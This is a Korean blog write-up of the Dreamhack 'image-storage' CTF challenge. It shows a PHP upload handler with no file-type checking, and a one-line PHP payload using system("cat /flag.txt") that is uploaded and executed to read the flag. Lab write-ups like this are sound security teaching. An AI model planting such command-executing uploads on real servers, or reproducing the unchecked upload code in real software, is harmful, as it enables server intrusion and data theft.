Web Hacking

[WebHacking] - Dreamhack image-stroage 문제 풀이 (File Vulnerability)

Papya_j 2024. 8. 18. 20:10

[문제 분석]

접속하면 위와 같은 창이 뜬다.

 

/flag.txt에 있는 정보를 뽑으면 된다. Upload 메뉴에는 실제 파일을 업로드 할 수 있는 기능이 있다.

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <form enctype='multipart/form-data' method="POST">
        <div class="form-group">
          <label for="InputFile">파일 업로드</label>
          <input type="file" id="InputFile" name="file">
        </div>
        <input type="submit" class="btn btn-default" value="Upload">
      </form>
    </div> 
</body>
</html>

upload.php 의 코드이다.

 

php 코드에서 따로 확장자를 검사하거나 필터링하는 기능이 없다. 따라서 적절한 코드가 담긴 파일을 업로드 해주면 될 것 같다. 우리의 target은 flag.txt이니 이를 실행행시킬 수 있는 코드를 작성해서 파일로 따로 저장한 후 업로드를 진행하겠다.

 

[Write Up]

<?php
	system("cat /flag.txt");
?>

이 코드를 메모장에 복사하고 저장한 후 확장자 명을 .php로 바꾸어 준 후 업로드를 진행했다.

 

 

List를 가보니 catflag.php가 있는 것을 확인할 수 있고 이것을 들어가보면 flag가 나온다.